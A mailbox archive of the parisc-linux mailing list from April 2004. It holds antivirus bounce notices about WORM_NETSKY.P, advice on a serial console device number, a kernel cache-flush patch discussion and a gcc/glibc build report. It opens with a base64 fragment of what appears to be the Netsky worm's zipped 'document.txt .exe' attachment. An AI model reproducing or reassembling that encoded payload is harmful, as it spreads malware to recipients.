3Wy5ddgQfFJkXAEYXpoQ45gKnyMJy3KjCBXMW6zYJNoX1p5qVFheq7KZjamLzKwfAPfny8lB
Mgc5jqwq5DfhW0WYK+HODdmeJe7EIBCYjHHtSM0W8U8x7P+i4qNGCW8X+eIn7v+mDDz0HrVH
Hkt7O8eXYFYCXzPPcOvSl7PzbN/fPU8k6e57dbD7dMVBaGsNvQzVNs5/sh8exwW+CxmMRUgL
5ABhTNrUX2sc1S8JZnN/bzkfv4hlKcbQN5bHchCRwc8JIlFY4ghdXVZvfIzh++913EFLs0HS
kb3P99J8xupaB/j8DnUxpl1dcAyNwTfxh5TZPkai97AfMzjDY3VlbIPb7Uq9dnugm0t4/aR/
fPE0PRqpSnajmyaYvJqSzpKSM2bzsGHKmpTjN+30zzqDudVyPanPNa4qKQNmHEkEfcXEcteL
RKat5gKOqRdY4LKs/zxGUJKAINtXSMnymD1KMSEkaH6RUlV0ja0Zj99rUKGvw7POqbVY/HXP
7rxgxXBrRIHdMnV7eIb0n8HnYux0zGCtIZ8ysxz7G/I2azZ4x3cODxdE5j2wM6JzQKsH4OmA
MgyR6QHGfnAIHYLdM6fUpAJ0wueqMbkctSywQHuGoV2aXcsA3haVwo6AyffBpZ4emhKn96Zt
TfMkYwq54xRyslq1OWk6q+qTqSSAPIclEjAEMKs+ilHn5onmaBWvPfkzwzTyA590YK5xz3wU
mkupqsfLfWkZeBxyP81jDqHfLmKDwFRZRcP57GPwZYKVKNWWsol58TH3Q0QwyyNv84OfN5BJ
/rIMS3KSslKog1MJC0ysI2RDQN/10DfSdYNEeNg+qQ5vmjU3itQvU0YVivTT437+xRWUb2w8
jMCytDQ0CpUpvX4mcy28mjm5RjhTn44muMEQJp8iQnkceXci+f0DxPPZXZaQTJIzHMDt692f
T9wr1YR9dPGE4ttq0F3jM8K+qy03REeCHVxZ6pTk+thNcHVNeoOoqNCSjQq382qwTdr4gK6G
xeFzvNfQeHWSMePU3GJhWn4Ws13NYWq2iw/uuwg6xW2MHBLy+SFcRa1AkSymjEtq6QZRNiS2
Ye2S+i0EHx2jQM0rcSlWBMm8E7BhYBzyvxuxILMG2DEl/kgYEJ2GUc9oTrmYSjSiRkKLJ1tY
hr1F1Z0L4LMy/D1TdRKiboX90U7YbI0+3CNbP95NhvwsFGUAdnDgJ3o8MVLhj+hfY0kyWTLs
WuuWrpAb1MzqNVUgqAQE9rxI+ByKZVM47P26XHmI9uAHO6prbj41SY/pSgmV+99Ee4QkwM/z
lLW1QuBkLn169pqrj4F8nBltfgFU9rU4XwclNrVWiK29r0uQ3oDaZ/fPHWD+HkL6WOO+s2kN
jqtr4MPShAE9H6PIt4U84QQWZRaXBs9jSYJ5UlcQEXyqsO1/XEV56HeOAa8Ao2OrNPKMchH2
y3kYsYVcUoe2aBEJu4X4kClp810CORxG802+Y3LIxEF3xwtimsvaAN6tmum8rq03cHX0JQbJ
BNPaVJP/QGdOJGqQHfrNwKV17z/c/04iNTyP4uZ/odsoVdMCOuNA7JkwySHGfk+/vPqYpFI+
x8Z//1JMYQzlIWkG94unNI2y/jbOdccWAq7Hyjtj3zzAmk/sAvKfARF6CHVvdW94Dh5+DIzB
eEV1tUKXJsKDVpvJT19RRm2ZI42dMxipmdCMI5zpSxIhJgB47RjB4E8g/BCnyq8LQDgjDqoQ
CMGJZhwX3/t1Jkp8DiwDuJzy91dlG2OF+pv79CVJJ16IW1nrfx2FmmyWfGus7JYKRAL3O/lO
ETVz6Gr2COCfONzVqqFNw2A6jh09IpEcZIQrVuLGc5IzA2vbB7zi00bKmEpRl6QPi44TBhjQ
0nvkKc6250JZ0KgY0MUArHrJIf204NYzS6kNHSp6kt01sh3idEuPAAABAAIAICAQAAEABADo
AgAAAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAzP//AGhXWAAA
AAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNERERERERERERERFJSIiIjRERE
REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV
WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi
I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE
REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE
UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE
MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE
RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS
IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND
NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp
wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI
wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD
+Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK
LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M
1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq
Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD
FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ
Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf
ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2
bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o
Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT
Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH
sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p
YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb
5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP
7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAABwfIcwo4gd
3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l
eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 8 Apr 2004 01:28:25 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <08c401c41cf8$06232450$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623340 7941 80.91.229.3 (22 Nov 2014 02:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Apr  7 17:27:37 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACF91489A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 17:27:36 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E891DA.dip0.t-ipconnect.de
	[217.232.145.218])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i37NRZo14215
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Apr 2004 01:27:35 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 8 Apr 2004 01:28:25 +0200
thread-index: AcQc+AYjiUu2reefQWywlxD5RL4bjQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Apr 2004 23:28:25.0646 (UTC)
	FILETIME=[064E04E0:01C41CF8]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 23:27:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21310

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/8/2004 1:28:25 AM
Engine/Pattern = 7.000-1004/1.853.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems installing on k 200
Date: Wed, 07 Apr 2004 19:07:31 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <1081386451.29158.13.camel@laptop.bradetich.net>
References: <OF340E924B.3CE17FA1-ONC1256E6F.0047D690@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623341 7946 80.91.229.3 (22 Nov 2014 02:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: JKonrad@linotype.com
Original-X-From: rbradetich@uswest.net  Wed Apr  7 19:08:04 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1321A4CAE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 19:08:04 -0600 (MDT)
Original-Received: from [10.0.0.50] (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C50022B112; Wed,  7 Apr 2004 19:08:02 -0600 (MDT)
In-Reply-To: <OF340E924B.3CE17FA1-ONC1256E6F.0047D690@fonts.de>
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 01:08:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21311

Jay,

There was a major number change for the MUX driver in the 2.4 kernels.

Check the major number for /dev/ttyB0, and either change it to 11 from
60 or 60 from 11.

Hope that helps!

- Ryan


On Wed, 2004-04-07 at 07:06, JKonrad@linotype.com wrote:
> Hi,
> 
> I have just tried to install my K 200 with this netinstall.iso:
> 
> palinux-2.4.21-pa6-20030718-netinst.iso
> 
> which is the newest. This image allows me to fully install the machine using the CD, but when I reboot my machine, it boots Linux, then hangs, telling me:
> 
> bin/sh: /dev/ttyB0: No such device
> 
> It looks like the kernel on the CD supports ttyB0, but the kernel the CD installs does not. How can that be, and how can I fix this?
> 
> Yours,
> 
> Jay
> 
> P.S.: The latest full image debian-30r1-hppa-binary-NONUS.iso won't even let me install, it hangs immediately, telling me my console isn't right, although I set it on ttyB0 with IPL.
> 
> PPS: the e-mail for bug reports does not seem to work anymore
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 8 Apr 2004 05:22:37 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <097901c41d18$bdfcabd0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623341 7978 80.91.229.3 (22 Nov 2014 02:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Apr  7 21:22:25 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16A2848B2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Apr 2004 21:22:25 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E891DA.dip0.t-ipconnect.de
	[217.232.145.218])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i383MOo07660
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Apr 2004 05:22:24 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 8 Apr 2004 05:22:37 +0200
thread-index: AcQdGL38vzkOLNjsR4aozmaiIHXAvg==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 08 Apr 2004 03:22:37.0725 (UTC)
	FILETIME=[BDFF1CD0:01C41D18]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 03:22:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21312

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/8/2004 5:22:37 AM
Engine/Pattern = 7.000-1004/1.853.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 8 Apr 2004 08:15:57 +0200
Lines: 211
Approved: news@gmane.org
Message-ID: <40711E55000025BC@ocpmta2.freegates.net>
References: <1081299262.1837.47.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623341 7980 80.91.229.3 (22 Nov 2014 02:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Thu Apr  8 00:16:01 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DFFC4890
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 00:16:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BBSpR-0005ze-00; Thu, 08 Apr 2004 08:15:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 8 Apr 2004 08:15:57 +0200
In-Reply-To: <1081299262.1837.47.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 06:16:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21313

Hi all,

Sorry first for bad wrapping (known pb with webmail interface :( ).

Now as far as remember .h files are headers and so should only contains declaration
of function and not their definition excepted if they are very short  (imho
3 line max) but that is a personal limit: does it exist a common agreement
on this limit? 
And here why changing translation_exists() definition location?

That said, I tested 2.6.5-pa5 32bit on a b2k and 64bits (gcc-3.0.4 from ftp.p-l.org)
on a n4k and they works fine. (I couldn't just reproduce Grant pb because
no usb device available :( )

Sorry if I annoye with philosophical question and thanks for great job as
well as additional for info,
    Joel

> -- Original Message --
> From: James Bottomley <James.Bottomley@steeleye.com>
> To: PARISC list <parisc-linux@lists.parisc-linux.org>
> Date: 06 Apr 2004 19:54:21 -0500
> Cc: parisc-linux-cvs@lists.parisc-linux.org
> Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
> 
> 
> On Tue, 2004-04-06 at 19:49, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/06 18:49:01
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c 
> 	include/asm-parisc: cach
> flush.h 
> 
> Log message:
> Optimise flush_cache_page
> 
> Now that we have a way of checking translations for a page, don't bother
> flushing if there's no translation.

Index: arch/parisc/kernel/cache.c
=====================================
> =============================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.7
diff -u -r1.7 cache.c
--- a/arch/parisc/kernel/cache.c	6 Apr 2004 21:34:46 -0000	1.7
+++ b/arch/parisc/kernel/cache.c	7 Apr 2004 00:16:
> 5 -0000
@@ -227,32 +227,6 @@
 	disable_sr_hashing_asm(srhash_type);
 }
 
-/* Simple function to work out if we have an existing address translation
- * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-
> 			     unsigned long addr)
-{
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
-	pmd_t *pmd;
-	pte_t *pte;
-
-	if(pgd_none(*pgd))
-		return 0;
-
-	pmd = pmd_offset(pgd, addr);
-	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
-
-	pte = pte_o
> fset_map(pmd, addr);
-
-	/* The PA flush mappings show up as pte_none, but they're
-	 * valid none the less */
-	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
-}
-	   
-
 void __flush_dcache_page(struct p
> ge *page)
 {
 	struct mm_struct *mm = current->active_mm;
@@ -300,7 +274,7 @@
 			continue;
 

-		flush_cache_page(mpnt, addr);
+		__flush_cache_page(mpnt, addr);
 
 		/* All user shared mappings should be equivalently mapped,
 		 * so once 
> e've flushed one we should be ok
@@ -312,7 +286,7 @@
 	if (anyvma) {
 		unsigned long addr = anyvma->vm_start
 			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
-		flush_cache_page(anyvma, addr);
+		__flush_cache_page(anyvma, addr);
 	}
 

>   flush_unshared:
@@ -341,7 +315,7 @@
 		if(!translation_exists(mpnt, addr))
 			continue;
 
-		flush_cache_page(mpnt, addr);
+		__flush_cache_page(mpnt, addr);
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
Index: include/asm-parisc/cacheflush.
> 
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/cacheflush.h,v
retrieving revision 1.8
diff -u -r1.8 cacheflush.h
--- a/include/asm-parisc/cacheflush.h	5 Apr 2004 17:41:30 -0000	
> .8
+++ b/include/asm-parisc/cacheflush.h	7 Apr 2004 00:17:15 -0000
@@ -107,6 +107,32 @@
 	}
 }
 
+/* Simple function to work out if we have an existing address translation
+ * for a user space vma. */
+static inline int translation_exists(struc
>  vm_area_struct *vma,
+				     unsigned long addr)
+{
+	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pmd_t *pmd;
+	pte_t *pte;
+
+	if(pgd_none(*pgd))
+		return 0;
+
+	pmd = pmd_offset(pgd, addr);
+	if(pmd_none(*pmd) || pmd_bad(*pmd))
+		re
> urn 0;
+
+	pte = pte_offset_map(pmd, addr);
+
+	/* The PA flush mappings show up as pte_none, but they're
+	 * valid none the less */
+	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
+		return 0;
+	return 1;
+}
+
+
 /* Private f
> nction to flush a page from the cache of a non-current
  * process.  cr25 contains the Page Directory of the current user
  * process; we're going to hijack both it and the user space %sr3 to
@@ -141,17 +167,25 @@
 }
 
 static inline void
-flush
> cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
+__flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
-	BUG_ON(!vma->vm_mm->context);
-
-	if (vma->vm_mm->context == mfsp(3)) {
+	if (likely(vma->vm_mm->context == mf
> p(3))) {
 		flush_user_dcache_page(vmaddr);
 		if (vma->vm_flags & VM_EXEC)
 			flush_user_icache_page(vmaddr);
 	} else {
 		flush_user_cache_page_non_current(vma, vmaddr);
 	}
+}
+
+static inline void
+flush_cache_page(struct vm_area_struct
> *vma, unsigned long vmaddr)
+{
+	BUG_ON(!vma->vm_mm->context);
+
+	if(likely(translation_exists(vma, vmaddr)))
+		__flush_cache_page(vma, vmaddr);
+
 }
 #endif
 

_______________________________________________
parisc-linux mailing list
pa
> isc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] deb gcc_snapshot 2004 04 04 & glibc 2.3.3 cvs 2004
	04 05 pb?
Date: Thu, 8 Apr 2004 09:00:27 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <40711E550000264D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623342 7983 80.91.229.3 (22 Nov 2014 02:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Thu Apr  8 01:00:29 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A8AD4890
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 01:00:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1BBTWV-0004jO-00
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 08 Apr 2004 09:00:27 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 8 Apr 2004 09:00:27 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 07:00:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21314

Hi all,

Continuing investigation on gcc >3.3 pb with glibc 2.3.3 (+ Carlos patches),
I started to rebuild toolchain as usual but with new dpkg gcc-snapshot_20040404
src and the same glibc src taht I used to test with gcc-3.3 with success.

But I encounter a new pb with this new gcc release:
[...]
mv -f /CAD/parisc-linux/build/glibc/shlib.ldsT /CAD/parisc-linux/build/glibc/shlib.lds
